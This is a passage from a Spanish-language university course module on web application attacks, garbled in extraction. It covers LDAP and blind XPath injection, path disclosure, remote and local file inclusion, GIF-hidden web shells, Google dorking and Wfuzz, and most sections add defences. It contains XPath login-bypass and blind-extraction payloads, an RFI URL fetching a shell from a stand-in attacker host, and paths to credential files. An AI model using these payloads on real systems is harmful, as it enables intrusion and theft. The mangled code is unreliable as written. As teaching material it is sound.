Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
